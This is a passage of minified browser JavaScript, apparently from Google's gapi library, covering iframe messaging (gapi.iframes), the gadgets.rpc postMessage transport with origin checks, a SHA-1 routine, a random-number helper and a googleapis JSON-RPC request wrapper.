_.Ao(this,"_g_restyle",a,b)};_.g.bo=function(a,b){return _.Ao(this,"_g_restyleDone",a,b)};_.g.rQ=function(a){return this.getContext().dy(a,void 0,this)}; _.g.tY=function(a){if(a&&"object"===typeof a)return this.getContext().sC(a,void 0,this)};_.g.uY=function(a){var b=this.ya.R.onRestyle;b&&b.call(this,a,this);a=a&&"object"===typeof a?_.No(a):{};(b=this.Ha())&&a&&"object"===typeof a&&(_.Ud(a,"height")&&(a.height=_.Lo(a.height)),_.Ud(a,"width")&&(a.width=_.Lo(a.width)),_.Vd(a,b.style))}; _.g.sQ=function(a){var b=this.ya.R.onClose;b&&b.call(this,a,this);this.WF&&this.WF()||(b=this.Ha())&&b.parentNode&&b.parentNode.removeChild(b);if(b=this.ya.R.controller){var c={};c.frameName=this.Cd();_.Ao(b,"_g_disposeControl",c)}ro(this.uf+":"+this.Od.uf+":_g_wasClosed",a,this)};_.yo.prototype.bL=_.ea(14);_.yo.prototype.rL=_.ea(15);_.zo.prototype.sK=_.ea(16);_.zo.prototype.ik=function(a,b){this.register("_g_wasClosed",a,b)}; _.zo.prototype.V_=function(){delete this.getContext().Ge[this.Cd()];this.getContext().vb().setTimeout((0,_.A)(function(){this.Ca()},this),0)};_.vo("_g_close",_.zo.prototype.rQ);_.vo("_g_closeMe",_.zo.prototype.sQ);_.vo("_g_restyle",_.zo.prototype.tY);_.vo("_g_restyleMe",_.zo.prototype.uY);_.vo("_g_wasClosed",_.zo.prototype.V_); var Vo,Yo,Zo,$o;_.Nn.prototype.oo=_.rc(11,function(a){this.R.apis=a;return this});_.Nn.prototype.tk=_.rc(10,function(a){this.R.rpctoken=a;return this});_.Oo=function(a){a.R.show=!0;return a};_.Po=function(a,b){a.R.where=b;return a};_.Qo=function(a,b){a.R.onClose=b};_.Ro=function(a,b){a.rel="stylesheet";a.href=_.Sc(b)};_.So=function(a){this.R=a||{}};_.So.prototype.value=function(){return this.R};_.So.prototype.getIframe=function(){return this.R.iframe};_.To=function(a,b){a.R.role=b;return a}; _.So.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.So.prototype.tk=function(a){this.R.rpctoken=a;return this};_.Uo=function(a){a.R.selfConnect=!0;return a};Vo=function(a){this.R=a||{}};Vo.prototype.value=function(){return this.R};var Wo=function(a){var b=new Vo;b.R.role=a;return b};Vo.prototype.xH=function(){return this.R.role};Vo.prototype.Xb=function(a){this.R.handler=a;return this};Vo.prototype.Bb=function(){return this.R.handler};var Xo=function(a,b){a.R.filter=b;return a}; Vo.prototype.oo=function(a){this.R.apis=a;return this};Yo=function(a){a.R.runOnce=!0;return a};Zo=/^https?:\/\/[^\/%\\?#\s]+$/i;$o={longdesc:!0,name:!0,src:!0,frameborder:!0,marginwidth:!0,marginheight:!0,scrolling:!0,align:!0,height:!0,width:!0,id:!0,"class":!0,title:!0,tabindex:!0,hspace:!0,vspace:!0,allowtransparency:!0};_.ap=function(a,b,c){var d=a.Ti,e=b.eo;_.ko(_.jo(c,a.eo+"/"+b.Ti),e+"/"+d);_.io(c,b.Cd()).Nh(b.wd)};_.yo.prototype.fy=_.ea(17);_.g=_.zo.prototype; _.g.vQ=function(a){var b=new _.ho(a);a=new _.So(b.value());if(a.R.selfConnect)var c=this;else(_.Ym(Zo.test(b.Qa()),"Illegal origin for connected iframe - "+b.Qa()),c=this.Od.Ge[b.Cd()],c)?_.mo(b)&&(c.$i(),_.Ao(c,"_g_rpcReady")):(b=_.io(_.ko(_.jo((new _.ho).tk(_.Un(b)),b.xl()),_.lo(b)).Nh(b.Qa()),b.Cd()).$i(_.mo(b)),c=this.Od.uj(b.value()));b=this.Od;var d=a.R.role;a=a.R.data;bp(b);d=d||"";_.Td(b.hy,d,[]).push({yf:c.Cd(),data:a});cp(c,a,b.wB[d])}; _.g.aD=function(a,b){(new _.ho(b)).R._relayedDepth||(b={},_.Uo(_.To(new _.So(b),"_opener")),_.Ao(a,"_g_connect",b))}; _.g.VJ=function(a){var b=this,c=a.R.messageHandlers,d=a.R.messageHandlersFilter,e=a.R.onClose;_.Qo(_.Wn(_.Vn(a,null),null),null);_.mh();return _.Ao(this,"_g_open",a.value()).then(function(f){var h=new _.ho(f[0]),k=h.Cd();f=new _.ho;var l=b.eo,n=_.lo(h);_.ko(_.jo(f,b.Ti+"/"+h.xl()),n+"/"+l);_.io(f,k);f.Nh(h.Qa());f.oo(h.R.apis);f.tk(_.Un(a));_.Vn(f,c);_.Wn(f,d);_.Qo(f,e);(h=b.Od.Ge[k])||(h=b.Od.uj(f.value()));return h})}; _.g.vC=function(a){var b=a.getUrl();_.Ym(!b||_.nn.test(b),"Illegal url for new iframe - "+b);var c=a.hn().value();b={};for(var d in c)_.Ud(c,d)&&_.Ud($o,d)&&(b[d]=c[d]);_.Ud(c,"style")&&(d=c.style,"object"===typeof d&&(b.style=_.No(d)));a.value().attributes=b}; _.g.gX=function(a){a=new _.ho(a);this.vC(a);var b=a.R._relayedDepth||0;a.R._relayedDepth=b+1;a.R.openerIframe=this;_.mh();var c=_.Un(a);a.tk(null);return this.Od.open(a.value()).then((0,_.A)(function(a){var d=(new _.ho(a.Ob())).R.apis,f=new _.ho;_.ap(a,this,f);0==b&&_.To(new _.So(f.value()),"_opener");f.$i(!0);f.tk(c);_.Ao(a,"_g_connect",f.value());f=new _.ho;_.io(_.ko(_.jo(f.oo(d),a.xl()),a.eo),a.Cd()).Nh(a.Qa());return f.value()},this))};var bp=function(a){a.hy||(a.hy=_.D(),a.wB=_.D())}; _.yo.prototype.xx=function(a,b,c,d){bp(this);"object"===typeof a?(b=new Vo(a),c=b.xH()||""):(b=Xo(Wo(a).Xb(b).oo(c),d),c=a);d=this.hy[c]||[];a=!1;for(var e=0;e<d.length&&!a;e++)cp(this.Ge[d[e].yf],d[e].data,[b]),a=b.R.runOnce;c=_.Td(this.wB,c,[]);a||b.R.dontWait||c.push(b)};_.yo.prototype.vK=_.ea(18); var cp=function(a,b,c){c=c||[];for(var d=0;d<c.length;d++){var e=c[d];if(e&&a){var f=e.R.filter||_.po;if(a&&f(a)){f=e.R.apis||[];for(var h=0;h<f.length;h++)a.Yo(f[h]);e.Bb()&&e.Bb()(a,b);e.R.runOnce&&(c.splice(d,1),--d)}}}};_.yo.prototype.sj=function(a,b,c){this.xx(Yo(Xo(Wo("_opener").Xb(a).oo(b),c)).value())};_.zo.prototype.sY=function(a){this.getContext().sj(function(b){b.send("_g_wasRestyled",a,void 0,_.M)},null,_.M)};var dp=_.ao.hb;dp&&dp.register("_g_restyleDone",_.zo.prototype.sY,_.M); _.vo("_g_connect",_.zo.prototype.vQ);var ep={};ep._g_open=_.zo.prototype.gX;_.to("_open",ep,_.M); _.w("gapi.iframes.create",_.Kn); _.zo.prototype.sK=_.rc(16,function(a,b){this.register("_g_wasRestyled",a,b)});_.g=_.yo.prototype;_.g.rL=_.rc(15,function(a){this.gw("onRestyleSelfFilter",a)});_.g.bL=_.rc(14,function(a){this.gw("onCloseSelfFilter",a)});_.g.pH=_.rc(13,function(){return this.hb});_.g.gw=_.rc(12,function(a,b){this.bK[a]=b});_.g.Dn=_.rc(3,function(){return this.Fb});_.zo.prototype.Dn=_.rc(2,function(){return this.Fb});_.w("gapi.iframes.registerStyle",function(a,b){_.Go[a]=b}); _.w("gapi.iframes.registerBeforeOpenStyle",function(a,b){_.Do[a]=b});_.w("gapi.iframes.getStyle",_.Fo);_.w("gapi.iframes.getBeforeOpenStyle",function(a){return _.Do[a]});_.w("gapi.iframes.registerIframesApi",_.to);_.w("gapi.iframes.registerIframesApiHandler",_.uo);_.w("gapi.iframes.getContext",_.wo);_.w("gapi.iframes.SAME_ORIGIN_IFRAMES_FILTER",_.po);_.w("gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.M);_.w("gapi.iframes.makeWhiteListIframesFilter",_.qo);_.w("gapi.iframes.Context",_.yo); _.w("gapi.iframes.Context.prototype.isDisposed",_.yo.prototype.Dn);_.w("gapi.iframes.Context.prototype.getWindow",_.yo.prototype.vb);_.w("gapi.iframes.Context.prototype.getFrameName",_.yo.prototype.Cd);_.w("gapi.iframes.Context.prototype.getGlobalParam",_.yo.prototype.Ez);_.w("gapi.iframes.Context.prototype.setGlobalParam",_.yo.prototype.gw);_.w("gapi.iframes.Context.prototype.open",_.yo.prototype.open);_.w("gapi.iframes.Context.prototype.openChild",_.yo.prototype.Tg); _.w("gapi.iframes.Context.prototype.getParentIframe",_.yo.prototype.pH);_.w("gapi.iframes.Context.prototype.closeSelf",_.yo.prototype.dy);_.w("gapi.iframes.Context.prototype.restyleSelf",_.yo.prototype.sC);_.w("gapi.iframes.Context.prototype.setCloseSelfFilter",_.yo.prototype.bL);_.w("gapi.iframes.Context.prototype.setRestyleSelfFilter",_.yo.prototype.rL);_.w("gapi.iframes.Iframe",_.zo);_.w("gapi.iframes.Iframe.prototype.isDisposed",_.zo.prototype.Dn); _.w("gapi.iframes.Iframe.prototype.getContext",_.zo.prototype.getContext);_.w("gapi.iframes.Iframe.prototype.getFrameName",_.zo.prototype.Cd);_.w("gapi.iframes.Iframe.prototype.getId",_.zo.prototype.ka);_.w("gapi.iframes.Iframe.prototype.register",_.zo.prototype.register);_.w("gapi.iframes.Iframe.prototype.unregister",_.zo.prototype.unregister);_.w("gapi.iframes.Iframe.prototype.send",_.zo.prototype.send);_.w("gapi.iframes.Iframe.prototype.applyIframesApi",_.zo.prototype.Yo); _.w("gapi.iframes.Iframe.prototype.getIframeEl",_.zo.prototype.Ha);_.w("gapi.iframes.Iframe.prototype.getSiteEl",_.zo.prototype.$a);_.w("gapi.iframes.Iframe.prototype.setSiteEl",_.zo.prototype.Ze);_.w("gapi.iframes.Iframe.prototype.getWindow",_.zo.prototype.vb);_.w("gapi.iframes.Iframe.prototype.getOrigin",_.zo.prototype.Qa);_.w("gapi.iframes.Iframe.prototype.close",_.zo.prototype.close);_.w("gapi.iframes.Iframe.prototype.restyle",_.zo.prototype.tr); _.w("gapi.iframes.Iframe.prototype.restyleDone",_.zo.prototype.bo);_.w("gapi.iframes.Iframe.prototype.registerWasRestyled",_.zo.prototype.sK);_.w("gapi.iframes.Iframe.prototype.registerWasClosed",_.zo.prototype.ik);_.w("gapi.iframes.Iframe.prototype.getParam",_.zo.prototype.Mz);_.w("gapi.iframes.Iframe.prototype.setParam",_.zo.prototype.pL);_.w("gapi.iframes.Iframe.prototype.ping",_.zo.prototype.ping); var LM=function(a,b){a.R.data=b;return a};_.yo.prototype.vK=_.rc(18,function(a,b){a=_.Td(this.wB,a,[]);if(b)for(var c=0,d=!1;!d&&c<a.length;c++)a[c].Oe===b&&(d=!0,a.splice(c,1));else a.splice(0,a.length)}); _.yo.prototype.fy=_.rc(17,function(a,b){a=new _.So(a);var c=new _.So(b),d=_.mo(a);b=a.getIframe();var e=c.getIframe();if(e){var f=_.Un(a),h=new _.ho;_.ap(b,e,h);LM(_.To((new _.So(h.value())).tk(f),a.R.role),a.R.data).$i(d);var k=new _.ho;_.ap(e,b,k);LM(_.To((new _.So(k.value())).tk(f),c.R.role),c.R.data).$i(!0);_.Ao(b,"_g_connect",h.value(),function(){d||_.Ao(e,"_g_connect",k.value())});d&&_.Ao(e,"_g_connect",k.value())}else c={},LM(_.To(_.Uo(new _.So(c)),a.R.role),a.R.data),_.Ao(b,"_g_connect",c)}); _.w("gapi.iframes.Context.prototype.addOnConnectHandler",_.yo.prototype.xx);_.w("gapi.iframes.Context.prototype.removeOnConnectHandler",_.yo.prototype.vK);_.w("gapi.iframes.Context.prototype.addOnOpenerHandler",_.yo.prototype.sj);_.w("gapi.iframes.Context.prototype.connectIframes",_.yo.prototype.fy); _.ak=window.googleapis&&window.googleapis.server||{}; (function(){function a(a,b){if(!(a<c)&&d)if(2===a&&d.warn)d.warn(b);else if(3===a&&d.error)try{d.error(b)}catch(h){}else d.log&&d.log(b)}var b=function(b){a(1,b)};_.Ra=function(b){a(2,b)};_.Sa=function(b){a(3,b)};_.oe=function(){};b.INFO=1;b.WARNING=2;b.NONE=4;var c=1,d=window.console?window.console:window.opera?window.opera.postError:void 0;return b})(); _.pe=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Wa(d)){var e=a.length||0,f=d.length||0;a.length=e+f;for(var h=0;h<f;h++)a[e+h]=d[h]}else a.push(d)}}; _.I=_.I||{};_.I.Hs=function(a,b,c,d){"undefined"!=typeof a.addEventListener?a.addEventListener(b,c,d):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+b,c):_.Ra("cannot attachBrowserEvent: "+b)};_.I.VX=function(a){var b=window;b.removeEventListener?b.removeEventListener("mousemove",a,!1):b.detachEvent?b.detachEvent("onmousemove",a):_.Ra("cannot removeBrowserEvent: mousemove")}; _.bk=function(){function a(){e[0]=1732584193;e[1]=4023233417;e[2]=2562383102;e[3]=271733878;e[4]=3285377520;p=n=0}function b(a){for(var b=h,c=0;64>c;c+=4)b[c/4]=a[c]<<24|a[c+1]<<16|a[c+2]<<8|a[c+3];for(c=16;80>c;c++)a=b[c-3]^b[c-8]^b[c-14]^b[c-16],b[c]=(a<<1|a>>>31)&4294967295;a=e[0];var d=e[1],f=e[2],k=e[3],l=e[4];for(c=0;80>c;c++){if(40>c)if(20>c){var n=k^d&(f^k);var p=1518500249}else n=d^f^k,p=1859775393;else 60>c?(n=d&f|k&(d|f),p=2400959708):(n=d^f^k,p=3395469782);n=((a<<5|a>>>27)&4294967295)+ n+l+p+b[c]&4294967295;l=k;k=f;f=(d<<30|d>>>2)&4294967295;d=a;a=n}e[0]=e[0]+a&4294967295;e[1]=e[1]+d&4294967295;e[2]=e[2]+f&4294967295;e[3]=e[3]+k&4294967295;e[4]=e[4]+l&4294967295}function c(a,c){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var d=[],e=0,h=a.length;e<h;++e)d.push(a.charCodeAt(e));a=d}c||(c=a.length);d=0;if(0==n)for(;d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64;for(;d<c;)if(f[n++]=a[d++],p++,64==n)for(n=0,b(f);d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64} function d(){var a=[],d=8*p;56>n?c(k,56-n):c(k,64-(n-56));for(var h=63;56<=h;h--)f[h]=d&255,d>>>=8;b(f);for(h=d=0;5>h;h++)for(var l=24;0<=l;l-=8)a[d++]=e[h]>>l&255;return a}for(var e=[],f=[],h=[],k=[128],l=1;64>l;++l)k[l]=0;var n,p;a();return{reset:a,update:c,digest:d,Ig:function(){for(var a=d(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}}}; _.ck=function(){function a(a){var b=_.bk();b.update(a);return b.Ig()}var b=window.crypto;if(b&&"function"==typeof b.getRandomValues)return function(){var a=new window.Uint32Array(1);b.getRandomValues(a);return Number("0."+a[0])};var c=_.H("random/maxObserveMousemove");null==c&&(c=-1);var d=0,e=Math.random(),f=1,h=1E6*(window.screen.width*window.screen.width+window.screen.height),k=function(a){a=a||window.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;f=f*b% h;0<c&&++d==c&&_.I.VX(k)};0!=c&&_.I.Hs(window,"mousemove",k,!1);var l=a(window.document.cookie+"|"+window.document.location+"|"+(new Date).getTime()+"|"+e);return function(){var b=f;b+=(0,window.parseInt)(l.substr(0,20),16);l=a(l);return b/(h+Math.pow(16,20))}}(); _.w("shindig.random",_.ck); _.I=_.I||{};(function(){var a=[];_.I.P9=function(b){a.push(b)};_.I.c$=function(){for(var b=0,c=a.length;b<c;++b)a[b]()}})(); _.we=function(){var a=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;a&&_.le(a());return{register:function(a,c,d){d&&d(_.H())},get:function(a){return _.H(a)},update:function(a,c){if(c)throw"Config replacement is not supported";_.le(a)},Pb:function(){}}}(); _.w("gadgets.config.register",_.we.register);_.w("gadgets.config.get",_.we.get);_.w("gadgets.config.init",_.we.Pb);_.w("gadgets.config.update",_.we.update); var jf;_.gf=function(){var a=_.Qd.readyState;return"complete"===a||"interactive"===a&&-1==window.navigator.userAgent.indexOf("MSIE")};_.hf=function(a){if(_.gf())a();else{var b=!1,c=function(){if(!b)return b=!0,a.apply(this,arguments)};_.Nd.addEventListener?(_.Nd.addEventListener("load",c,!1),_.Nd.addEventListener("DOMContentLoaded",c,!1)):_.Nd.attachEvent&&(_.Nd.attachEvent("onreadystatechange",function(){_.gf()&&c.apply(this,arguments)}),_.Nd.attachEvent("onload",c))}};jf=jf||{};jf.HK=null; jf.zJ=null;jf.uu=null;jf.frameElement=null; jf=jf||{}; jf.ZD||(jf.ZD=function(){function a(a,b,c){"undefined"!=typeof window.addEventListener?window.addEventListener(a,b,c):"undefined"!=typeof window.attachEvent&&window.attachEvent("on"+a,b);"message"===a&&(window.___jsl=window.___jsl||{},a=window.___jsl,a.RPMQ=a.RPMQ||[],a.RPMQ.push(b))}function b(a){var b=_.cf(a.data);if(b&&b.f){(0,_.oe)("gadgets.rpc.receive("+window.name+"): "+a.data);var d=_.K.Bl(b.f);e&&("undefined"!==typeof a.origin?a.origin!==d:a.domain!==/^.+:\/\/([^:]+).*/.exec(d)[1])?_.Sa("Invalid rpc message origin. "+ d+" vs "+(a.origin||"")):c(b,a.origin)}}var c,d,e=!0;return{ZG:function(){return"wpm"},RV:function(){return!0},Pb:function(f,h){_.we.register("rpc",null,function(a){"true"===String((a&&a.rpc||{}).disableForceSecure)&&(e=!1)});c=f;d=h;a("message",b,!1);d("..",!0);return!0},Dc:function(a){d(a,!0);return!0},call:function(a,b,c){var d=_.K.Bl(a),e=_.K.bF(a);d?window.setTimeout(function(){var a=_.df(c);(0,_.oe)("gadgets.rpc.send("+window.name+"): "+a);e.postMessage(a,d)},0):".."!=a&&_.Sa("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message"); return!0}}}()); if(window.gadgets&&window.gadgets.rpc)"undefined"!=typeof _.K&&_.K||(_.K=window.gadgets.rpc,_.K.config=_.K.config,_.K.register=_.K.register,_.K.unregister=_.K.unregister,_.K.qK=_.K.registerDefault,_.K.oM=_.K.unregisterDefault,_.K.RG=_.K.forceParentVerifiable,_.K.call=_.K.call,_.K.kq=_.K.getRelayUrl,_.K.Ph=_.K.setRelayUrl,_.K.ew=_.K.setAuthToken,_.K.Hr=_.K.setupReceiver,_.K.fl=_.K.getAuthToken,_.K.kC=_.K.removeReceiver,_.K.uH=_.K.getRelayChannel,_.K.nK=_.K.receive,_.K.pK=_.K.receiveSameDomain,_.K.Qa= _.K.getOrigin,_.K.Bl=_.K.getTargetOrigin,_.K.bF=_.K._getTargetWin,_.K.xP=_.K._parseSiblingId);else{_.K=function(){function a(a,b){if(!aa[a]){var c=R;b||(c=ka);aa[a]=c;b=la[a]||[];for(var d=0;d<b.length;++d){var e=b[d];e.t=G[a];c.call(a,e.f,e)}la[a]=[]}}function b(){function a(){Ga=!0}N||("undefined"!=typeof window.addEventListener?window.addEventListener("unload",a,!1):"undefined"!=typeof window.attachEvent&&window.attachEvent("onunload",a),N=!0)}function c(a,c,d,e,f){G[c]&&G[c]===d||(_.Sa("Invalid gadgets.rpc token. "+ G[c]+" vs "+d),ua(c,2));f.onunload=function(){J[c]&&!Ga&&(ua(c,1),_.K.kC(c))};b();e=_.cf((0,window.decodeURIComponent)(e))}function d(b,c){if(b&&"string"===typeof b.s&&"string"===typeof b.f&&b.a instanceof Array)if(G[b.f]&&G[b.f]!==b.t&&(_.Sa("Invalid gadgets.rpc token. "+G[b.f]+" vs "+b.t),ua(b.f,2)),"__ack"===b.s)window.setTimeout(function(){a(b.f,!0)},0);else{b.c&&(b.callback=function(a){_.K.call(b.f,(b.g?"legacy__":"")+"__cb",null,b.c,a)});if(c){var d=e(c);b.origin=c;var f=b.r;try{var h=e(f)}catch(Ha){}f&& h==d||(f=c);b.referer=f}c=(y[b.s]||y[""]).apply(b,b.a);b.c&&"undefined"!==typeof c&&_.K.call(b.f,"__cb",null,b.c,c)}}function e(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!== a&&"chrome-search"!==a)throw Error("p");c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0,d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}function f(a){if("/"==a.charAt(0)){var b=a.indexOf("|");return{id:0<b?a.substring(1,b):a.substring(1),origin:0<b?a.substring(b+1):null}}return null}function h(a){if("undefined"===typeof a||".."===a)return window.parent;var b=f(a);if(b)return window.top.frames[b.id];a=String(a);return(b=window.frames[a])?b:(b= window.document.getElementById(a))&&b.contentWindow?b.contentWindow:null}function k(a,b){if(!0!==J[a]){"undefined"===typeof J[a]&&(J[a]=0);var c=h(a);".."!==a&&null==c||!0!==R.Dc(a,b)?!0!==J[a]&&10>J[a]++?window.setTimeout(function(){k(a,b)},500):(aa[a]=ka,J[a]=!0):J[a]=!0}}function l(a){(a=F[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a}function n(a,b,c){b&&!/http(s)?:\/\/.+/.test(b)&& (0==b.indexOf("//")?b=window.location.protocol+b:"/"==b.charAt(0)?b=window.location.protocol+"//"+window.location.host+b:-1==b.indexOf("://")&&(b=window.location.protocol+"//"+b));F[a]=b;"undefined"!==typeof c&&(E[a]=!!c)}function p(a,b){b=b||"";G[a]=String(b);k(a,b)}function q(a){a=(a.passReferrer||"").split(":",2);za=a[0]||"none";pa=a[1]||"origin"}function t(b){"true"===String(b.useLegacyProtocol)&&(R=jf.uu||ka,R.Pb(d,a))}function x(a,b){function c(c){c=c&&c.rpc||{};q(c);var d=c.parentRelayUrl|| "";d=e(V.parent||b)+d;n("..",d,"true"===String(c.useLegacyProtocol));t(c);p("..",a)}!V.parent&&b?c({}):_.we.register("rpc",null,c)}function v(a,b,c){if(".."===a)x(c||V.rpctoken||V.ifpctok||"",b);else a:{var d=null;if("/"!=a.charAt(0)){if(!_.I)break a;d=window.document.getElementById(a);if(!d)throw Error("q`"+a);}d=d&&d.src;b=b||_.K.Qa(d);n(a,b);b=_.I.xc(d);p(a,c||b.rpctoken)}}var y={},F={},E={},G={},B=0,L={},J={},V={},aa={},la={},za=null,pa=null,ba=window.top!==window.self,qa=window.name,ua=function(){}, db=window.console,ra=db&&db.log&&function(a){db.log(a)}||function(){},ka=function(){function a(a){return function(){ra(a+": call ignored")}}return{ZG:function(){return"noop"},RV:function(){return!0},Pb:a("init"),Dc:a("setup"),call:a("call")}}();_.I&&(V=_.I.xc());var Ga=!1,N=!1,R=function(){if("rmr"==V.rpctx)return jf.HK;var a="function"===typeof window.postMessage?jf.ZD:"object"===typeof window.postMessage?jf.ZD:window.ActiveXObject?jf.zJ?jf.zJ:jf.uu:0<window.navigator.userAgent.indexOf("WebKit")? jf.HK:"Gecko"===window.navigator.product?jf.frameElement:jf.uu;a||(a=ka);return a}();y[""]=function(){ra("Unknown RPC service: "+this.s)};y.__cb=function(a,b){var c=L[a];c&&(delete L[a],c.call(this,b))};return{config:function(a){"function"===typeof a.MK&&(ua=a.MK)},register:function(a,b){if("__cb"===a||"__ack"===a)throw Error("r");if(""===a)throw Error("s");y[a]=b},unregister:function(a){if("__cb"===a||"__ack"===a)throw Error("t");if(""===a)throw Error("u");delete y[a]},qK:function(a){y[""]=a},oM:function(){delete y[""]}, RG:function(){},call:function(a,b,c,d){a=a||"..";var e="..";".."===a?e=qa:"/"==a.charAt(0)&&(e=_.K.Qa(window.location.href),e="/"+qa+(e?"|"+e:""));++B;c&&(L[B]=c);var h={s:b,f:e,c:c?B:0,a:Array.prototype.slice.call(arguments,3),t:G[a],l:!!E[a]};a:if("bidir"===za||"c2p"===za&&".."===a||"p2c"===za&&".."!==a){var k=window.location.href;var l="?";if("query"===pa)l="#";else if("hash"===pa)break a;l=k.lastIndexOf(l);l=-1===l?k.length:l;k=k.substring(0,l)}else k=null;k&&(h.r=k);if(".."===a||null!=f(a)|| window.document.getElementById(a))(k=aa[a])||null===f(a)||(k=R),0===b.indexOf("legacy__")&&(k=R,h.s=b.substring(8),h.c=h.c?h.c:B),h.g=!0,h.r=e,k?(E[a]&&(k=jf.uu),!1===k.call(a,e,h)&&(aa[a]=ka,R.call(a,e,h))):la[a]?la[a].push(h):la[a]=[h]},kq:l,Ph:n,ew:p,Hr:v,fl:function(a){return G[a]},kC:function(a){delete F[a];delete E[a];delete G[a];delete J[a];delete aa[a]},uH:function(){return R.ZG()},nK:function(a,b){4<a.length?R.V7(a,d):c.apply(null,a.concat(b))},pK:function(a){a.a=Array.prototype.slice.call(a.a); window.setTimeout(function(){d(a)},0)},Qa:e,Bl:function(a){var b=null,c=l(a);c?b=c:(c=f(a))?b=c.origin:".."==a?b=V.parent:(a=window.document.getElementById(a))&&"iframe"===a.tagName.toLowerCase()&&(b=a.src);return e(b)},Pb:function(){!1===R.Pb(d,a)&&(R=ka);ba?v(".."):_.we.register("rpc",null,function(a){a=a.rpc||{};q(a);t(a)})},bF:h,xP:f,c0:"__ack",E5:qa||"..",T5:0,S5:1,R5:2}}();_.K.Pb()}; _.K.config({MK:function(a){throw Error("v`"+a);}});_.oe=_.ve;_.w("gadgets.rpc.config",_.K.config);_.w("gadgets.rpc.register",_.K.register);_.w("gadgets.rpc.unregister",_.K.unregister);_.w("gadgets.rpc.registerDefault",_.K.qK);_.w("gadgets.rpc.unregisterDefault",_.K.oM);_.w("gadgets.rpc.forceParentVerifiable",_.K.RG);_.w("gadgets.rpc.call",_.K.call);_.w("gadgets.rpc.getRelayUrl",_.K.kq);_.w("gadgets.rpc.setRelayUrl",_.K.Ph);_.w("gadgets.rpc.setAuthToken",_.K.ew);_.w("gadgets.rpc.setupReceiver",_.K.Hr);_.w("gadgets.rpc.getAuthToken",_.K.fl); _.w("gadgets.rpc.removeReceiver",_.K.kC);_.w("gadgets.rpc.getRelayChannel",_.K.uH);_.w("gadgets.rpc.receive",_.K.nK);_.w("gadgets.rpc.receiveSameDomain",_.K.pK);_.w("gadgets.rpc.getOrigin",_.K.Qa);_.w("gadgets.rpc.getTargetOrigin",_.K.Bl); var dk=function(a){return{execute:function(b){var c={method:a.httpMethod||"GET",root:a.root,path:a.url,params:a.urlParams,headers:a.headers,body:a.body},d=window.gapi,e=function(){var a=d.config.get("client/apiKey"),e=d.config.get("client/version");try{var k=d.config.get("googleapis.config/developerKey"),l=d.config.get("client/apiKey",k);d.config.update("client/apiKey",l);d.config.update("client/version","1.0.0-alpha");var n=d.client;n.request.call(n,c).then(b,b)}finally{d.config.update("client/apiKey", a),d.config.update("client/version",e)}};d.client?e():d.load.call(d,"client",e)}}},ek=function(a,b){return function(c){var d={};c=c.body;var e=_.cf(c),f={};if(e&&e.length)for(var h=0,k=e.length;h<k;++h){var l=e[h];f[l.id]=l}h=0;for(k=b.length;h<k;++h)l=b[h].id,d[l]=e&&e.length?f[l]:e;a(d,c)}},fk=function(a){a.transport={name:"googleapis",execute:function(b,c){for(var d=[],e=0,f=b.length;e<f;++e){var h=b[e],k=h.method,l=String(k).split(".")[0];l=_.H("googleapis.config/versions/"+k)||_.H("googleapis.config/versions/"+ l)||"v1";d.push({jsonrpc:"2.0",id:h.id,method:k,apiVersion:String(l),params:h.params})}b=dk({httpMethod:"POST",root:a.transport.root,url:"/rpc?pp=0",headers:{"Content-Type":"application/json"},body:d});b.execute.call(b,ek(c,d))},root:void 0}},gk=function(a){var b=this.method,c=this.transport;c.execute.call(c,[{method:b,id:b,params:this.rpc}],function(c){c=c[b];c.error||(c=c.data||c.result);a(c)})},ik=function(){for(var a=hk,b=a.split("."),c=function(b){b=b||{};b.groupId=b.groupId||"@self";b.userId= b.userId||"@viewer";b={method:a,rpc:b||{}};fk(b);b.execute=gk;return b},d=_.m,e=0,f=b.length;e<f;++e){var h=d[b[e]]||{};e+1==f&&(h=c);d=d[b[e]]=h}if(1<b.length&&"googleapis"!=b[0])for(b[0]="googleapis","delete"==b[b.length-1]&&(b[b.length-1]="remove"),d=_.m,e=0,f=b.length;e<f;++e)h=d[b[e]]||{},e+1==f&&(h=c),d=d[b[e]]=h},hk;for(hk in _.H("googleapis.config/methods"))ik(); _.w("googleapis.newHttpRequest",function(a){return dk(a)});_.w("googleapis.setUrlParameter",function(a,b){if("trace"!==a)throw Error("M");_.le("client/trace",b)}); _.fp=_.Td(_.ce,"rw",_.D()); var gp=function(a,b){(a=_.fp[a])&&a.state<b&&(a.state=b)};var hp=function(a){a=(a=_.fp[a])?a.oid:void 0;if(a){var b=_.Qd.getElementById(a);b&&b.parentNode.removeChild(b);delete _.fp[a];hp(a)}};_.ip=function(a){a=a.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.jp=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width||"300px")+";margin:0px;border-style:none;"}; _.kp=function(a,b){var c={},d=a.Ob(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e||(e=d.width||a.width);f||(f=d.height||a.height);d.width=c.width=e;d.height=c.height=f;d=a.Ha();e=a.ka();gp(e,2);a:{e=a.$a();c=c||{};if(_.ce.oa){var k=d.id;if(k){f=(f=_.fp[k])?f.state:void 